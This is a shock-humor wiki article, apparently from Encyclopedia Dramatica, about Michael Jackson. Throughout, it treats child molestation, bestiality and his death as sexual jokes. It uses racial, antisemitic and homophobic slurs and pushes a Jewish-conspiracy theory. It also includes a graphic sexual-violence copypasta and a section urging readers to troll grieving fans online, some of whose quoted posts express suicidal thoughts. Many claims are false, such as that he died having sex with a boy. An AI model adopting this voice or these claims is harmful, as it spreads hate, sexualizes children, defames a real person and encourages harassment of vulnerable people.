MJ originally constructed for himself the perfect [[tool]] for drawing in his preferred cuisine: an amusement park where children "never grow up" and "[[DO NOT WANT|don't want]] to go to school". It was his primary romp for years until people realized that a grown man running a theme park for children all by himself was a little [[creepy]]. Jacko closed his own pool after his rape trial, moving back to [[Whore]]lywood with the intent to rebuild his fondle-factory in Berlin. Just thinking about plump little [[Prussian Blue|blue-eyed blond-haired Nazi children]] made Jacko drool so much his lips fell off: it was that or too much plastic surgery and amazing [[gay|buttsecks]] with Macaulay Culkin whom he had [[molested|fiddled]] the hell out of for many years after his copy of "Home Alone" on VHS(a.k.a. Exhibit C) became recognizable only as the worlds most valuable container of Jacko [[spooge|spunk]].

He lived with his a myriad of prepubescent servants and his [http://www.nydailynews.com/gossip/2007/10/09/2007-10-09_michael_jackson_nanny_fighting_lupus_alo.html Nanny with lupus]. [[Poland#Tourism|He has also expressed his wish to move to Poland]] and live in a castle purchased there, although he may have been unaware that the country's demographics were not ideal, having fewer young boys than girls.

=="Thriller" or "I'm a [[pedobear|pedophile]], put me in jail"==
[[Image:Wackojacko.jpg|thumb|200px|right|This is a picture from his music video, "Thriller". Also known as one of the last times he needed makeup to look like a zombie.]]
Years before Jackson was first accused of liking kids too much, he recorded a [[WIN|HIT]] album where all his plans and intentions where clearly stated. The album was released by [[EPIC|Epic records]] (for real) but before they released the album they decided to change some of the title songs, so as to make Jackson's intentions less obvious. '''Bolded''' are the words that were deleted:
# "Wanna Be Startin' Somethin' '''(With That Young Boy)'''" – 6:02
# "Baby '''(Boy)''' Be Mine" – [[Weed|4:20]]
# "The '''([[Underage]])''' Girl Is Mine" – 3:42
# "'''(Chasing After [[Loli]] [[Ass]] Sure Is a) '''Thriller" – 5:57
# "'''(I'll Show You How To)''' [[Masturbation|Beat It]]" – 4:17
# "Billie Jean: '''(An 8 Year Old Can't Be Pregnant)'''" – 4:57
# "Human Nature: '''(I'm Just God's Messenger)'''" – 4:05
# "P.Y.T. (Pretty <s>Young</s> '''Underage''' Thing) " – 3:58
# "The '''([[Loli]])''' in My Life" – 4:12

==The Elephant Man==

Jackson was also an [[Trolling IRL|IRL Troll]] and had created many "false" stories about himself, apparently to see if he could "control" the media, a plan that would unfortunately backfire on him, [[LOL WUT|such as sleeping in an oxygen chamber to prolong his life, and buying a sex toy]]. Another notable event occurred in the [[1980|Mid-1980]]'s where Michael Jackson tried to purchase the skeleton of Joseph Merrick, aka the Elephant Man. He ultimately failed to obtain the skeleton. When asked the reason for his fagging, Michael Jackson stated that "it was mostly for the [[lulz]]". [[Some argue|People suspect]] however, that it was in fact not for the lulz but for [[necrophilia|other recreational activities]].

==Movie Career==

In addition to starring in '''Moonwalker''' and hundreds of music videos, at the time of his death, Michael Jackson was in pre-production on a prequel to Hustler's popular '''Barely Legal''' series.

===Moonwalker===

A series of films, including a bunch of shotas reenacting "Bad", but the only notable part of this film is the half hour long "Smooth Criminal" video, where Michael Jackson fights Joe Pesci from Home Alone, an evil supervillian who wants to '''get kids hooked on drugs''', but even worse, '''end prayer in schools.''' Naturally MJ takes offense to this, dances around, turns into a car, dances some more, '''shoots a guy while dancing with hookers''', then rescues the kiddies. But then he disappears into the night sky. Just like E.T. The kiddies cry on a street corner.

But then MJ comes back. Just like he did in real life.

===Ghosts===

Half an hour of Michael Jackson wearing extensive makeup to look like a fat white dude who accuses Michael Jackson of being a freak who corrupts children. To which Michael Jackson dances around with ghouls. Wow. That'll convince any skeptic of your sanity.

==Bubbles==
{{quote|Now that he's dead, who's gonna blow Bubbles?|[[Anon]]}}

{{tinyquote|Bubbles is more fun than a lot of people I know. I saw Bubbles at a wedding in a tux. He has great table manners.|Quincy Jones|[[truth|defending chimpmongling]]}}

After failing to secure a [[negro|bag of bones to stick his dick into]], Jacko purchased a chimpanzee called Bubbles to stick his dick into. As is well known, chimps love nothing better than to sit around masturbating between displays of fæces hurling and Jacko thought that slipping his own dick (which was not yet white and hairless) in would be a cinch. At first it was, so Bubbles became an entourage of one, Jacko's confidante and [[BFF]], accompanying him to [[torture|recording sessions]] and music videos shoots. On the road they shared a hotel bed and Jacko's wardrobe.

Life at home was sweet for both primates, with Bubbles and Jacko sharing a bedroom at [[Gaia|Neverland]]. Bubbles was fully toilet trained and allowed to use Jacko's private crapper but was often seen sitting in a crib wearing a diaper to satisfy Jacko's [[infantilism|diaper fetish]].
Historically,bedtime at Neverland Ranch was always when the big hand touched the little hand.

Sadly, in 2003, Bubbles was kicked to the curb after his [[shota|little hand]] grew too big for the [[pedo|big hand]] -anyone watching Law & Order: SVU know that this is classic pedo behavior. Also, with the arrival of Jacko's first [[IRL]] child, Prince Michael 1, Bubbles had outlived his usefulness.

Jacko justified the breakup and dumping Bubbles on the chimp's overly aggressive love making style where Bubbles had reversed his traditional position as the '[[masochist|bottom]]' in sexual relations to being the '[[sadist|top]]'. [[TL;DR]], Bubbles was now [[buttsecks|assraping]] Jacko as opposed to Jacko assraping Bubbles.

Jacko blamed [[Prince]] [http://prince.org/msg/7/38797 claiming that] he had used [[ESP]] to turn Bubbles batshit insane saying:

{{tinyquote|"[[Jacko|What kind of sicko would mess with a monkey?]] This is the final straw. Poor, poor Bubbles."|Jacko}}

Today, Bubbles has lived at many places since his failed attempt to assassinate Prince Michael and failed attempt to [[an hero]]. He lives in an animal sanctuary where he has a new best friend, [[Assrape|Sam: A 40 Year Old Chimpanzee nicknamed Bubba. Now Bubbles will have many nights of tender tender love making, just like the old days]].

In a special by Animal Planet, sister La Toya Jackson came to visit the chimp and exchanged tearful words. Yes, she is actually talking to a monkey...

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'''To a monkey'''
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==Early Life==

Jackson's early life was full of [[child abuse|moonbeams and happy times]]. Father, Joe Jackson, would give all Jackson children encouragement to pursue their [[pedophile|dreams]] and [[jailbait|desires]] by having hurtful buttsecks that left a deep impression on young Michael. Michael's bizarre unrelenting hatred of Steven Spielberg, going into fits of rage whenever Steven would win an Oscar, which was often, can only be explained by the fact that he was Steven's bitchboi before being passed along as a used cumbucket among the Hollywood elite.

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The Jackson family during the early days.
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==Pedo Trials: Part 1 of 2==
[[Image:HomeAloneMJ.jpg|thumb|In his prime.]]
[[Image:Alien-vs-predator-michael-jackson.jpg|thumb]]
In 1993, Jacko was tried for being a [[pedo]] after a [[13-year-old boy]] called '''[[An_Hero|Jordan]] [[Chris-chan|Chandler]]''' accused him of putting the big hand on the little penis, kissing him, face-fucking him and [[fapping]] in front of him, with a detailed description of Jacko's junk. His info was so precise, he even pinpointed where the vitiligo splotches were, the length of the performer's pubes and that he was a Jew, while he was in Monaco to be given 8 more awards at the World Music Awards. Throughout the show Jacko was sitting next to the Prince of Monaco with Jordan on his lap, bouncing him on his knee whilst whispering "Rubba" into his ear. No one thought that Jacko was a sick fuck.

Jacko, being too much of a pussy to have a trial, settled the case by giving the accuser's family over 20 million dollars. [[Some argue|Some say]] that this was proof of him being guilty. Others say that he couldn't be tried because of his health (spoiler alert: he was a drug addict). Now, had this been the extent of Jacko's allegations people would have left him alone, but the damn bastard couldn't stop himself from fucking...

==Pedo Trials: Part 2 out of 2==
{{quote|Another kid? That's like another dead white woman showing up at O.J.'s house, and O.J. going 'I know what you're thinking...'|Chris Rock}}
After making a jackass of himself in a documentary, Jacko gets accused of more molestation in 2003. This was the final blow to his career. The accuser was a former cancer patient who had his [[Pwnt|spine removed]] at a young age and his final words were to Michael Jackson. His wish came true and he was told to be ready to die in a few weeks, but after he met Michael, he was saved. [[Truth|Michael Jackson sucking your cock cures cancer]].

A trial finally ensued and it ended with Jacko being found innocent, before being [[BTFO]] to Bahrain.

[[Some argue|It has been scientifically estimated]] that the next molestation by Jacko would have occured in 2013, should he have been alive by then.

[[Image:Jesusjuice.jpg|thumb|Vintage Jacko lubrication]]
[[Image:Spotted-dick.jpg|thumb|MJ's junk in a can]]
[[Image:Michael_jackson.jpg|thumb]]
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===Quotable===

{{quote|I believe this charity single could still generate lots of money to help those in need. Why shouldn’t it come out? Because of something I did in the past? This is an industry in which rock stars date porno queens. Adult film doesn’t have the same stigma it used to. So, really, what’s their excuse?!|F. Marc Schaffel is coming to his own defense on word that Michael Jackson’s [[911]] charity single "What More Can I Give" isn’t being released because of his porno directing past.}}

==Jacko's Kids==
Michael Jackson's kids (the ones he ''had'' as opposed those which he "had"), who are all completely white, are (obviously) [http://www.telegraph.co.uk/culture/music/michael-jackson/5706071/Michael-Jackson-not-biological-father-of-his-children.html not his biological children]. In fact, the biological father is widely known to be Mark Lester, the blond-haired former child actor who played Oliver in a [[gay]] musical movie.

Looking at Lester's childhood photo, which seems to fit the image of Jackson's ideal sex partner, one need not wonder how Jacko's children were being used.

Moreover, it appears that not only did Jacko not sire even one of his children, he never formally adopted them either. This case alone is grounds to have him posthumously prosecuted for kidnapping. [http://www.rollingstone.com/rockdaily/index.php/2009/07/01/michael-jacksons-will-filed-in-court-neverland-memorial-unlikely/ In his will], he left custody of the kids to [[Sheneequa|Diana Ross]].

{{quote|Daddy's Clowning!|One of the kids, further proving that he loves using kids.}}

{{cg|Gallery|gallery1|center|<gallery>
Image:Mark_lester-current.jpg|Mark Lester, the kids' godfather, is the biological father.
Image:Mark_lester-1968.jpg|Mark Lester in 1968 as the title character in the fagtastic musical Oliver!
Image:Michael_jackson_south_park.jpg|Jacko and his kids.
Image:mj.jpg|Michael Jackson's kid #1 aka Macaulay
</gallery>|<gallery>
Image:Jackson_kid-1.jpg|Michael Jackson's kid #2
Image:Jackson_kid-2.jpg|[[Jailbait|Michael Jackson's kid #3]]
Image:Sq-michael-baby-balcony-cnn.jpg|Michael Jackson's kid #4 aka [[WTF|'''Blanket''']]
Image:Jacko_and_cartman.jpg|Michael Jackson's kid #5 aka [[Cartman]]
Image:Michaelomer.jpg|Papa Joe's thoughts on Michael Jackson's kid #6
</gallery>}}

==The Mask of Pedo==
On December 13th, 2008, Michael Jackson reappeared in the spotlight using an [[nice try|old trick]] from Elizabeth Taylor/Liza Minnelli to gain sympathy from his fans by faking a mental illness. This time it took the form of what could be best described as dressing up like a Bollywood version of Zorro.

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=='''This Is [[shit|It]]!''': The Comeback==
[[Image:Jacko_hulk.jpg|thumb|Jacko trains with the [[Hulk]] for his one city 'tour'.]]
{{quote|When I say this is it, it really means this is it.|Jacko, exposing himself in front of millions of horny fans|March 2009}}

In March 2009, Jacko announced that he would be playing live again for the first time in 12 years with a 50 day residence at [[Londonistan]]'s '''O2''' arena starting in July. Strapped for attention, he planned to revive his rotting career and make hueg amounts of [[Jew Gold]] to pay off his mountain of debt. He also needed fresh, young meat to feed his ravenous appetite for [[shota]]; his kids had grown so old they now revolted him so much he'd stopped getting protein from them and was so incredibly [[pro-ana|frail and underweight]] that nobody really noticed, since he always looked like that.

With a cash advance from the '''O2''' and a firm of [[jews|venture capitalists]] called '''AEG''' he set about trying to get into shape for the gruelling '''tour'''. He rented out [[LA]]'s Staples Center for full dress-rehearsals and hired [http://www.thesun.co.uk/sol/homepage/showbiz/bizarre/2481286/Michael-Jackson-is-being-trained-by-Lou-Ferrigno.html the Incredible Hulk] to whip him into shape. The rehearsals were filmed and have been fashioned into a sloppy motion picture. Jacko's attention-seeking family claimed that a body double was used, but nobody gave a shit. As nobody gave a shit about the movie to begin with.

{{ytplus|Jackson Rehearsing For Surprise Comeback Performance 7/7/09|<center><youtube>mdVTbU9q0Lc</youtube></center>|Do it now before they grow up and it's too late!|[http://www.plyrics.com/lyrics/ggallin/exposeyourselftokids.html Lyrics from the video rehearsal]}}
===THIS IS WIN===
It is now reported that Sony and AEG, in an attempt to cash in on Jacko's postmortem sales jump and salvage what they invested in Jacko for this tour, are going to, through the magic of editing, cobble together 80 hours of footage shot during the rehearsals of the tour to make an entirely incoherent film about Jacko's final days. The price tag of the film is reported to be at least $50 million.

==Death==

[[Image:Mjinvincible.jpg|thumb|Jacko's last studio album: [[irony|''Invincible'']]]]
[[Image:Goodnight_jacko.jpg|thumb|October 2007: /[[b]]/ called it. [[Goodnight sweet prince|Goodnight Shotacat]].]]
[[Image:HHHHHHHNNNGGGGGMJ2.JPG|thumb|right|An ironic twist to an [[HNG|old meme.]]]]
[[Image:Coincidentally.jpg|thumb|right|Anal cancer claims two more lives.]]
[[Image:DEADjacko.jpg|thumb|The cover of [[Pedophile|Jacko's]] re-release of the album ''BAD''.]]
[[Image:Michaels heart.jpg|thumb|Mj's temple of doom]]
[[Image:Chartattack.jpg|thumb|right|[[O RLY?]]]]
[[Image:MichealjacksonJackieChan.jpg|thumb|DO NOT WANT gook!!]]
[[Image:Jjj.jpg|thumb|right|OH SHIT HES BACK!]]
On Thursday, June 25th, 2009, Michael Jackson died in the act of lovemaking, having a [[HNNNNNNGGGGG|heart attack]]. This is considered one of the best ways to go, preferable to rotting in an old folks home or dying of cancer. The young boy who Jackson was making love to at the time called paramedics; his name was not released. Most news agencies omitted this fact, leaving a mystery of who called paramedics when Michael Jackson was unconscious at the time. Regardless, Jacko was clearly [[I'm on my bee|not on his bee]].

The compassionate, humanitarian brain-trust /[[b]]/ was quick to exploit it with endless threads featuring the [[HNNNNNNGGGGG|heart attack]] meme and Michael Jackson photoshops. His dying wish was to donate his [[cock|organ]] to a sick child (so that his [[Penis|organ]] would forever be inside a child).

[http://www.tmz.com/2009/06/25/michael-jackson-dies-death-dead-cardiac-arrest TMZ] reported the initial diagnosis was that Jacko died from [[HNG|cardiac arrest]] caused by a massive cocktail of drugs including Dilaudid, Vicodin, Soma, Xanax, Zoloft, Paxil for anxiety and heartburn pill Prilosec administered by a nigger doctor. The Los Angeles coroner's office has deferred Jacko's inquest awaiting toxicology tests and to provide ample time for the media shitstorm to rage on for a week or two. Shortly thereafter, [[Jesse Jackson]] appeared on [[CNN]] calling for a full and thorough investigation of the facts and Jacko's live-in doctor (who, it was reported, had gone on the lam) suggesting that this was <big>MURDER!</big> He then called for [[OJ]] to be released from jail since he's an expert in tracking down the [[CIA|real killers]].

While it has since been confirmed that he had a heart attack in the ER, initial reports were of a stroke in the Pediatrics wing.

Meanwhile [[CNN]] reported Vanillaface moonwalked off this mortal coil. [[Fark]] reported that he had just begun work on ''Thriller 2: Electric Boogaloo!'' Though his heart is no longer beating, Disney has inspected the body and declared that the high quality plastic exterior makes him a great candidate for animatronics. The same news report told how he was planning to rekindle his popularity, but the only thing he accomplished was becoming the first [[wigger|white black person]] to die of something besides gunfire.

Because Jacko is dead, it is impossible to determine exactly how uncountably many children he sodomized at the Neverland Ranch, as well as everywhere else.

On 28 August, 2009 a Los Angeles Coroner ruled the death of Michael Jackson a [[AIDS|homo]]cide[http://www.cnn.com/2009/SHOWBIZ/Music/08/28/jackson.autopsy/index.html].
[[Image:Pedo mourn 2.png|thumb|right| [[lie|Pedobear mourns the loss.]]]]
[[Image:Pedo bearsmall.png|thumb|right| Good night. ]]

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===Reaction===
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|Keep your tickets. This is all a setup for the best performance of Thriller ever.|[[Perez Hilton]]

|Is he even biodegradable???|A bewildered [[hippy|environmentalist]]

|Michael Jackson didn't die of a heart attack, he got food poisoning from eating nine year old nuts.|MJ's coroner

|For the first time ever, we will meet our quota on carbon-emissions for the Kyoto Protocol, thanks to his brave sacrifice.|Barack Obama

|You can't throw him away or cremate him as that would contribute to global warming.The best thing to do is recycle his body for the future use of Joan Rivers.|Fox News

|Run, cherubs, run!|God

|Thursday June 25th 2009: Dear Diary, today I got a new roommate...|[[Heath Ledger]]

|WAKE UP SHEEPLE!!|[[Alex Jones|Micheal Jackson death denier]]

|He just went for Baby Jesus|Grief-stricken /[[b]]/tard

|I think [[Chimpmongler]] is a [[pretty cool guy]]. eh diddles shota and doesn't afraid of [[Chris Hansen]]|[[anon]]

|Basketball will never be the same again |/b/tard

|Why must I cry?!?!|rehdogg

|This article is bad and ED should feel bad.|[[User:faggot|StarCadet]]

|Michael you left such a legacy on this earth, have touched SO MANY!!!|Kelly Rowland
|}}
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The Jews being the two-faced, money grubbing scum that they are, suddenly had newfound respect for Jacko. It turns out after [[Lulz|making many cruel jokes at his expense, stealing as much of his money as they could, and publicly humiliating him]], [[DELETE FUCKING EVERYTHING|they decided to just sweep all the nasty things they said under a rug and act like it never happened]]. As overwrought outpourings of unconditional love for the Gloved One rained down upon the masses from all and sundry, [[b|/b/]] remained the sole voice of reason in the tragedy, celebrating this living embodiment of [[Shotacat]]'s life and death, creating [[meme]]s in their indomitable style. Meanwhile, faggotry reigned the day on the likes of [[Shitter]], [[YouTube]], [[Facebook]] and blog after blog after blog.

Everyone seemed to have forgotten how [[shocked & appalled]] they were back when Jacko was on trial for molesting [[shota]]. People posted tributes and childhood memories, songs and vidyas of how important '''The King of Pop''' had been in their lives and how he'd provided the soundtrack to the indiscretions of youth; that first mugging (Wanna Be Startin' Somethin'), that first [[fap]] (Beat It), that first child molestation (Pretty Young Thing).

It's almost as if they could maybe one day overlook the [[Holocaust]] and give another [[Hitler|tortured artist with issues]] the props he surely deserved for being an inspiring leader, brilliant economist, terrific orator, a non-smoking [[dogmongler|animal lover]] with a keen eye for graphic design and style who also got the trains to run on time.

MJ cockmonglers have responded by locking themselves in cupboards, self-mutilation, Jacko tattoos, and [[Baww|BAWWWWWing]] about how the world is a cruel and violent place, subsequently expressing the desire to assault people who don't think or act as they demand. Scientists have concluded that the universe does not revolve around these [[asspies]].

[[Billy Mays]], who was also 50 years old, responded three days later with [[:Image:Billy Mays Last Words.jpg|his own drug-induced heart attack.]] Leave it to Billy Mays to throw in another for free.

You can [[Rape|help]] out the tremulous Jacko pirates by sacking their tree house of precious, underaged booty:

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'''[[Psychopath|Some people]] were glad he died'''
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The phrase "Fuck that nigger Michael Jackson" was said a total of 9 times during the above movie.
[http://www.mjfanclub.net/mjforum373/index.php '''The Well of Untapped Lulz ''']:

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|I was stuck on register on Friday. The customers ask "so how are you today?" I just wanted to punch every single one.|Jacko fanboy on pacifism

|I am having the worst time at work. These people that I thought of like family are stabbing me in the back. My boss, who I followed from another job,and a co-worker whom I never suspected could be so cruel, basically told me that my grief was irrelevent compaired to what other people go though and that I had no right to be upset because I didn't know him personally. How dare they invalidate how I'm feeling!?|Jacko fanboy on narcissism

|God I've just started crying all over again more than I ever had. I dunno what to do with myself I don't seem to be bothered about anything. Yesterday I had a thought that I wouldn't care if I was to die cos I'd be with Michael. I can't get over this I'm so depressed and confused. Every where I turn there's something Michael related. I don't know what the hell to do with myself. I just feel like crawling into a ball and crying for the rest of my life but I've read enough books that always give the message that if someone dies you need to try and move on with your life but I can't|Jacko fanboy on being a hedgehog

|I just don't know how I can go on living without the love of my life. Michael was everything to me. I just feel so numb and sick. I'm still in denial about the whole thing. It just feels like I'm stuck in a sick and twisted nightmare that I can't wake from. My whole world has just collapsed. I need someone to talk to.|Jacko fanboy on being ronery

|There was a parade in San Francisco, which I did not go to because I probably would have kick somebody being surrounded by pesudo fans. I'm past the sad grieving phase of my despair its now just anger. I hate how everyone is suddenly a "fan" of his once he dies, now everybody wants all his CDs, how everybody realizes what a musical genius he was. What about those who have been there since DAY ONE? I guess it's better than people being hateful but...UGH....they're all so FAKE. They didn't love him. I can't even stand to listen to them speak his name because they're all unworthy, just because you used to listen to Thriller when you were 4 doesnt make you a fan. Apart from this site I can't listen to anybody talk about him, I couldnt even finishing reading LMP's statement...Not everyone is a fake but...UGH, I dunno....|Jacko fanboy on elitism
|}}
</center>

Ozfags were particularly [[butthurt]] and authorities had to set up a [[self-pwn]] hotline after reports surfaced of [http://www.news.com.au/entertainment/story/0,28383,25712012-5019114,00.html numerous faggots committing suicide].

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==Trolling==
{{quote| I wish Bill Cosby or some other [[Black Jesus|'beloved' celeb]] would [[Win|die]] so we could get a break from all this Wacko Jacko coverage. Wait...[[No|is Bill Cosby alive?]]|Facebook post - [[Billy Mays|be careful what you wish for]]}}

[[Image:Trolling facebook.png|thumb|[[Godwin's Law|For the (God)win!]]]]
[[Image:Headline.jpg|thumb|right|[[Typical]] British headline.]]
In the meantime, you can help by trolling people on the Internets with mock outrage at all this praise for Jacko and comparing him to Hitler. Go to someone's virtual [[Facebook]] shrine and leave comments to ''their'' comments feigning disgust that someone would sweep Jacko's [[shota|crimes against humanity]] under the rug. Tell them they probably spent his pedo trial damning him to Hell and if not, ask them if they would let their kids sleep over at [[basement|Neverland]] or hang out with [[Josef Fritzl|Uncle Josef]]. Tell them that Hitler was a brilliant motivational speaker and a seriously snappy dresser.

Most people won't take the bait because they know it's true: Jacko was a [[sick fuck]]. But some will puff up their e-chests and rise to his defense: this is when you accuse them of hypocrisy and double standards. Ask why they hate children so much and how come molestation is okay when the perpetrator is a celebrity. If they [[BAW|BAAAAAW]] that you're out of line, admit that yes, you're sorry, comparing Jacko to Hitler is a terrible insult to Hitler.

Another effective trolling technique is to liberally apply mock outrage at both the fact that he is to be memorialized and that the huge tribute is to be paid for by your hard-earned tax dollars. Since the [[Arnold|State of Collyfornia]] is now [[bailout plan|bankrupt and issuing IOUs to pay for most services]] this adds [[flame|fuel to the fire]]. It has been estimated that police overtime needed for security at the memorial in downtown LA will cost $2,000,000 alone and ''[[you]]'' are going to be paying for it.

Comments such as:

<center>
{{morphquote|mqtest6|background-color: transparent;|font-weight: normal;
|I don't get it. Why don't they dig up [[Jeffrey Dahmer]] and throw ''him'' a party. Hell, let's give Saddam Hussein a party; he had [[Basement|rape rooms]] too!|troll
|Yeah. Fritzl too. At least [[Josef Fritzl]] raped his own children.|troll bait
|Hey did Mike fuck your wife or something? You sounding like its personal.|[[butthurt]] Jacko fanboy
|My wife wasn't his type...she was female and older than 12.|[[OP]]
|LA can't even afford to hire any new cops or fire fighters and they're going to pay for a party to honor a pedophile? I for one will not be paying my taxes this year.|troll
|Yes Michael Jackson, make that scream ("AHEE-HEE!") while I rape your asshole and jack you off. Your rectum becomes swollen and starts bleeding you little cumslut. Then I slit your throat, lick your blood, and rape your throat hole while you ejaculate in ecstasy. I ram my fork in your eye and force you to eat it while you weep for mercy. I pour Girugamesh into your eye sockets, and inject you with pure, liquid Gaymen, so that you feel the agony for all eternity. Now that was only the warm up round. Now I begin to insert a mace-like needle, grafted from the claws of Cthulu, that has been laid on the surface of lava from Mount Doom into your urethra. Michael Jackson has gone into Terry Schiavo mode. He has to live out the rest of eternity in agony without the privilege of resisting his maker. Your friends and family can't save you Michael. I've thrown them into the Great Pit of Carkoon; where they shall be slowly digested in the Sarlacc's belly for over a thousand years.|The Bruce Campbell of Trolling Copypasta
|}}
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===[[Trolling IRL]]===
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{{quote|Let's knock out the [[harbl|psychobabble]]. He was a pervert, a child molester, a pedophile. What does giving this much coverage to him say about us as a country? I just think we're too politically correct.|[http://www.foxnews.com/politics/2009/07/06/new-york-congressman-blasts-jackson-pervert-low-life/ Rep. Peter King (R) New York]}}

===Trolling YouTube Comments===
<center>'''''See video comments'''''</center>
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{{frame|{{fv|faggotnigger|background-color: white;|font-weight: bold;
|<youtube>_Xeb13J8vGE</youtube>
|<youtube>m8JwjqPhDIw</youtube>
|<youtube>lGJ5FVCp5Wk</youtube>
|<youtube>_Xeb13J8vGE</youtube>
|<youtube>KY16HNboAMQ</youtube>
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{{cg|Le Jaque Waquette|jackowackomocklogallery|center|<gallery>
Image:Jackson dead.jpg
Image:Hurk.JPG
Image:MJ_dying_turn_you_on.jpg
Image:mj_csi.jpg
</gallery>|<gallery>
Image:Mj_king_of_b.jpg|LOL black person can't be kings!
Image:BlackWhiteBlue.jpg
Image:RIP MJ June25th 09.JPG
Image:Goodnight-thread.png|[[B|/b/]] can predict the future...[[goodnight sweet prince]]!
Image:Leave MJ alone.jpg|We need to leave the pedo faggot nigger zombie alone.
Image:Jackson 4 returning.jpg|Did you know the Jackson FOUR are getting back together?
Image:Popicon.jpg|Jacko was a pop icon.
Image:Pedobear mourning.png|[[Pedobear|I'll keep his legacy alive!]]
</gallery>}}

==[[Perez Hilton]], first responder==

As news of Jacko's death reached [[Perez Hilton]], Perez set about what Perez does best: showing that, as gay as he gets, he can always get even gayer. He made a blog post claiming that Jacko was just faking it to get out of contractual obligations. This caused abundant butthurt and threats of violence so Hilton tried to backtrack and apologise for the fag-on-fag violence. This wasn't enough for some misguided, gay anons who called for a raid on Hilton (see: [[Talk:Michael Jackson]]). A fallout from this gay Operation Thriller faggotry is expected and leading expert [[tfo]] will bring you news when it happens.

[[Image:Michaeladvison.jpg|thumb|right|Michael Jackson plays a large role in the ''Half-Life'' series, known as the Michael Advison.]]

[[Image:Jacksonhollowmansequel.jpg|thumb|right|In 2009, Michael Jackson set out to create a new image, this time of a movie star. His breakthrough role was in a low-budget sequel to a popular horror film.]]

[[Image:Mj.png|thumb|ACCESS DENIED LOL =[]]

[[Image:Perez hilton mariofailsitlols.jpg|center|1000px]]

==[[Conspiracy Theories]]==
[[Image:Mj glove.jpg|thumb|right|[[Domestic_violence|Does the King of Pop need to smack a bitch?]]]]

===Pepsi did it===
PepsiCo. tried but failed to defoliate Jacko's [[Don Imus|nappy head]] with napalm [http://www.youtube.com/watch?v=jZnUI8tfKjg during the filming of a Pepsi commercial] in the '[[80s]], so Jacko turned to the painkillers which would eventually be similar to the drugs rumored to cause his death. Additionally, when the contract ended with him, Pepsi's stock market fell for a while, ergo, Pepsi did it.

===Rock Band did it===
''Rock Band Unplugged'' had the song "ABC" by The Jackson 5 on it. Michael Jackson was 11 when the song was released. 11 days after the release of the game, he died.

===[http://www.adl.org/PresRele/ASUS_12/2460_12.asp Jews did it]===
{{quote|Michael Jackson has an anti-Semitic streak and hasn’t learned from his past mistakes. It seems every time he has a problem in his life, he blames it on the Jews.|[[ADL]]}}
[[Image:Michael-jackson-the-muslim-perv.jpg|thumb|Abu Joe trollin Jews]]
[[Image:Michael_Jackson_Holding_Israel_Flag.jpg|thumb|Jacko surrenders to [http://www.yoyenta.com/?p=1035 appease the Jews]]]
To get back at [http://www.freerepublic.com/focus/news/856313/posts Michael Jackson putting a "Voodoo curse" on Supreme Jewish Leader Steven Spielberg], a day before his [[death]], upon entrance into an [[IRC]] channel, a Jew compulsively typed in "ah Michael Jackson, ah what?" Given the fact that this Jew has tha [[OCD]], he has [[DBZ|special powers]], using which he placed a curse on Jacko and [[pwnt|killed]] him.

[[Thatkidparker|Some people]] do believe that Jews did Michael Jackson, and not just because [http://www.reuters.com/article/newsOne/idUKTRE55P0Q520090626 he owed] them [[jew gold]] or placed a curse. Their reasoning goes as follows:
[[Image:Michael-Jackson-and-Adolf-Hitler.jpeg|thumb|Michael Achtung]]
::1. Jewish monetary perverts drool at the billions accumulated by MJ. They say [[hello|shalom]] and try to invite themselves to dinner, but Jacko says "[[GTFO]]."
::2. In addition, Jews at the [[Mossad]] want to insert [[memes]] into his lyrics so that they can sell more dope to the listeners. MJ says "[[gb2]]hell."
::3. Jews insert bait children into his life. Indeed, some of the children's families were [[BFF]] with their Jewish attorneys.
::4. Jacko smells trouble, and responds with lyrics. Jewish lawyers made him change them. The song is accompanied by creepy music that gives you visions of Jewish shark lawyers trying to [[banhammer]] you for good. The unedited version of one of his lyrics went as follows ([[srsly]]):

::::''Jew really fucked''
::::''Jew thought he really got control of me''
::::''Jew out there,''
::::''Jew really wants to get me''
::::''Kick me''
::::'''''Kike me'''''
::::''Use me''
::::''[[Pedo|Abuse]] me''
::::''Sue me''
::::'''''Jew me'''''
::::''Take control of me''

::5. Jews never find anything funny if it is at their own expense so proceeded to banhammer him. They fail at the banhammer but succeed in putting him out of commission.

A related theory is that the music biz did Jacko for revenge. His last studio album [[irony|''Invincible'']] in 2002 had tanked and Jacko had gotten into a [[butthurt|heated dispute]] with his label Sony and leveraged himself out of his contract after accusing them of failing to spend sufficient [[jew golds]] marketing and promoting him. Of course this had absolutely nothing to do with his refusal to go on tour in support of the record. Jacko and the head of the label went toe-to-toe in the media and Jackson alleged the label head was a [[white|"devil" and a "racist"]] who did not support black artists and used them solely for [[profit]]. He charged that the label chief had called his pal Irv Gotti a "fat nigger."

===[http://features.csmonitor.com/politics/2009/06/23/sanford-disappears-to-hike-appalachian-trail-on-naked-hiking-day/ Mark Sanford] did it===
After getting busted for going AWOL from his day job as the Governor of South Carolina, [[Republicunt]] "family values" fanboy [[Mark Sanford]] (described by [[Stephen Colbert]] as "incredibly boring ... a manila envelope glued to a beige wall... a walking, talking [[Sleep sex|Ambien]]") admitted he was off in Buenos Aires having an extramarital affair with a moderately attractive [[Argentinian]] chica and not on a surprise solo hike on the Appalachian Trail (on Naked Hiking Day). Naturally, the old media went batshit crazy and had a field day at the Governor's expense and were set to drag all the skeletons from Sanford's suddenly interesting closet.

However, on the eve of blowing the lid off the secret lovers' steamy emails and such, Michael Jackson suddenly dropped dead. With a shot at being the [[GOP]]'s [[2012]] presidential candidate on the line, things were not looking good for the aging Lothario... until the spotlight shifted. Coincidence? You be the judge.

===[[Iran]] did it===

Following the hotly desputed re-election of [[Mahmoud Ahmadinejad]], Iranians [[protest]]ed the results as the vote was the one shred of [[freedom]] they thought they still had. They even went as far as condemning the Supreme Leader which is apparently a big no-no. The American and other Western news media would closely observe this butthurt throughout the following weeks.

Fearing that continual coverage of the protests would weaken the [[Islamic]] leadership, they needed something seriously ''[[Epic]]'' to divert Western attention, which was Jackson's record producer.

===AEG Insurance Scam?===

[http://www.cinemassacre.com/new/?p=1654#comments/ TMZ] reports that AEG, who funded the Jacko "This is It" tour, paid for a hefty insurance policy from Loyds of London covering, among all things, drug overdose.

===Farrah Fawcett did it?===

It is no coincidence that Farrah Fawcett and Jacko died on the same day. Reports state that earlier that day, on her deathbed Farrah's last dying wish was for all the children in the world to be safe. So God answered and killed Michael Jackson. The difference between Farrah and Jacko is that one screwed Majors, whereas the other screwed minors.

===Doctor Did It===

